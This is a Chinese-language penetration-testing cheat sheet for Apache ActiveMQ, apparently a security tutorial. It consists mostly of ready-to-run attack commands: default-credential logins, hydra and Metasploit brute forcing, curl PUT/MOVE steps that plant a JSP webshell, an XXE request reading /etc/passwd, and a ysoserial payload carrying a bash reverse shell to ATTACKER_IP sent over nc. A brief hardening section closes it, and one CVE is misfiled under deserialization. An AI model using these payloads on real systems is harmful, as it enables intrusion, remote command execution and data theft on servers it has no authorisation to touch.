8161 - Apache ActiveMQ 服务渗透测试
服务概述
Apache ActiveMQ 是消息中间件。默认凭据、反序列化漏洞是主要安全问题。
默认端口 : 8161 (HTTP), 61616 (OpenWire)
危害等级 : ⭐⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script http-title -p 8161 TARGET
# 访问管理界面
curl http://TARGET:8161/admin/
# 输出:
# Apache ActiveMQ
版本检测
# 获取版本
curl http://TARGET:8161/admin/
# 或在页面底部查看版本号
常见攻击手法
1. 默认凭据
原理 : ActiveMQ 使用默认用户名密码。
默认凭据 :
admin:admin
user:user
guest:guest
利用 :
# 测试默认凭据
curl -u admin:admin http://TARGET:8161/admin/
# 如果成功,可访问管理面板
2. 暴力破解
原理 : 管理界面可暴力破解。
利用 :
# hydra
hydra -l admin -P rockyou.txt http-get://TARGET:8161/admin/
# 或使用 metasploit
use auxiliary/scanner/http/activemq_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
3. 文件上传 RCE (CVE-2016-3088)
原理 : ActiveMQ 允许上传文件到指定目录。
检测 :
# 检测漏洞
curl -X PUT http://TARGET:8161/fileserver/test.txt\
-d "test"
# 如果返回 204,可能存在漏洞
利用 :
# 1. 上传 JSP webshell
curl -X PUT http://TARGET:8161/fileserver/shell.jsp\
-d "<%@ page import=\"java.util.*,java.io.*\"%><%Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"
# 2. 移动文件到可执行目录
curl -X MOVE http://TARGET:8161/fileserver/shell.jsp\
-H "Destination: http://TARGET:8161/admin/shell.jsp"
# 3. 访问 webshell
http://TARGET:8161/admin/shell.jsp?cmd= whoami
4. 反序列化 RCE
原理 : ActiveMQ OpenWire 协议存在反序列化漏洞。
常见漏洞 :
CVE-2015-5254
CVE-2016-3088
利用 :
# 使用 metasploit
use exploit/linux/http/activemq_traversal_upload
set RHOST TARGET
set RPORT 8161
run
# 或使用 Java 反序列化 payload
java -jar ysoserial.jar CommonsCollections1 "command" | nc TARGET 61616
5. XXE 注入
原理 : ActiveMQ XML 解析存在 XXE 漏洞。
利用 :
# 发送恶意 XML
curl -X POST http://TARGET:8161/admin/send.jsp \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>
<body>&xxe;</body>
</message>'
# 如果返回 /etc/passwd 内容,存在 XXE
实战案例
案例 1: 默认凭据访问
# 1. 测试默认凭据
curl -u admin:admin http://TARGET:8161/admin/
# 2. 成功访问管理面板
# 可查看队列、主题、连接等
# 3. 发送恶意消息
# 通过管理界面
案例 2: 文件上传 RCE
# 1. 检测漏洞
curl -X PUT http://TARGET:8161/fileserver/test.txt -d "test"
# 2. 上传 webshell
curl -X PUT http://TARGET:8161/fileserver/shell.jsp \
-d "<%@ page import=\"java.util.*\"%><%out.println(Runtime.getRuntime().exec(request.getParameter(\"cmd\")));%>"
# 3. 移动文件
curl -X MOVE http://TARGET:8161/fileserver/shell.jsp \
-H "Destination: http://TARGET:8161/admin/shell.jsp"
# 4. 执行命令
curl http://TARGET:8161/admin/shell.jsp?cmd= whoami
案例 3: 反序列化攻击
# 1. 扫描端口
nmap -sV -p 61616 TARGET
# 2. 使用 ysoserial
java -jar ysoserial.jar CommonsCollections1 "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" > payload.bin
# 3. 发送 payload
nc TARGET 61616 < payload.bin
# 4. 获取反弹 shell
工具
# ActiveMQ 登录扫描
use auxiliary/scanner/http/activemq_login
set RHOSTS TARGET
run
# ActiveMQ 文件上传
use exploit/linux/http/activemq_traversal_upload
set RHOST TARGET
set RPORT 8161
run
ysoserial
# 生成反序列化 payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
# 发送
nc TARGET 61616 < payload.bin
防御建议
服务器配置
# 1. 修改默认凭据
# conf/jetty-realm.properties
# admin:NEW_PASSWORD,admin
# 2. 禁用文件服务器
# conf/jetty.xml
# 注释掉 fileserver connector
# 3. 网络隔离
# 不暴露公网
# 防火墙限制访问
# 4. 更新版本
# 使用最新 ActiveMQ
监控检测
# 1. 日志监控
# logs/activemq.log
# 异常访问记录
# 2. 流量分析
tshark -i eth0 -Y "http" -T fields -e http.request.uri
# 3. 异常检测
# 文件上传请求
# 反序列化 payload
# 未知 IP 访问
参考链接